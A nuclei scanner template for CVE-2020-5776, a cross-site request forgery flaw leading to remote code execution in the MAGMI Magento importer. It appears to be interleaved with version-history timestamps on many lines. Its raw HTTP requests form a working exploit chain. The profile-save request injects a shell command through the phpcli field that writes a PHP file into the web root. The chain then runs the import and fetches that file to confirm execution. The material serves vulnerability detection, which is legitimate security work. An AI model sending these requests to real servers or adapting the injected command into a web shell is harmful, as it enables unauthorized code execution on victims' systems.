2021-01-02 04:56:15 +00:00
id : CVE-2020-5776
2020-09-04 13:19:13 +00:00
info :
2022-06-28 15:11:04 +00:00
name : MAGMI - Cross-Site Request Forgery
2020-09-05 06:34:18 +00:00
author : dwisiswant0
severity : high
2022-06-28 19:12:50 +00:00
description : MAGMI (Magento Mass Importer) is vulnerable to cross-site request forgery (CSRF) due to a lack of CSRF tokens. Remote code execution (via phpcli command) is also possible in the event that CSRF is leveraged against an existing admin session.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to perform unauthorized actions on behalf of the victim user.
2023-09-06 12:22:36 +00:00
remediation : |
Implement CSRF protection mechanisms such as anti-CSRF tokens and referer validation.
2022-04-22 10:38:41 +00:00
reference :
- https://www.tenable.com/security/research/tra-2020-51
2022-06-28 15:11:04 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-5776
2024-01-29 17:11:14 +00:00
- https://github.com/sobinge/nuclei-templates
- https://github.com/404notf0und/CVE-Flow
- https://github.com/ARPSyndicate/cvemon
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-5776
cwe-id : CWE-352
2024-03-23 09:28:19 +00:00
epss-score : 0.50353
epss-percentile : 0.97455
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:magmi_project:magmi:*:*:*:*:*:*:*:*
2022-06-15 19:57:25 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : magmi_project
product : magmi
2023-09-06 12:22:36 +00:00
shodan-query : http.component:"Magento"
2024-01-14 09:21:50 +00:00
tags : cve,cve2020,magmi,magento,tenable,magmi_project
2021-02-05 19:44:41 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-09-04 13:19:13 +00:00
- raw :
- |
POST /magmi/web/magmi_saveprofile.php HTTP/1.1
Host : {{Hostname}}
2021-08-19 14:25:01 +00:00
Content-Type : application/x-www-form-urlencoded
2020-09-04 13:19:13 +00:00
Connection : close
2021-01-09 13:28:57 +00:00
profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=
2020-09-04 13:19:13 +00:00
- |
POST /magmi/web/magmi_run.php HTTP/1.1
Host : {{Hostname}}
2021-08-19 14:25:01 +00:00
Content-Type : application/x-www-form-urlencoded
2020-09-04 13:19:13 +00:00
Connection : close
engine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update
- |
GET /magmi/web/info.php HTTP/1.1
Host : {{Hostname}}
Connection : close
2023-07-11 19:49:27 +00:00
2020-09-04 13:19:13 +00:00
matchers-condition : and
matchers :
- type : word
words :
- "PHP Extension"
- "PHP Version"
condition : and
2023-07-11 19:49:27 +00:00
2020-09-04 13:19:13 +00:00
- type : status
status :
2022-06-28 15:11:04 +00:00
- 200
2024-03-25 11:57:16 +00:00
# digest: 4b0a00483046022100bc2cf16817aaf1a4a28dcbcf80d5270dbe106cb819d27317b9f79a25d3ed01ad0221008c5b95bbb48cd9e491c881d690b92f104be04131ceca40463cb7f8093460f434:922c64590222798bb761d5b6d8e72950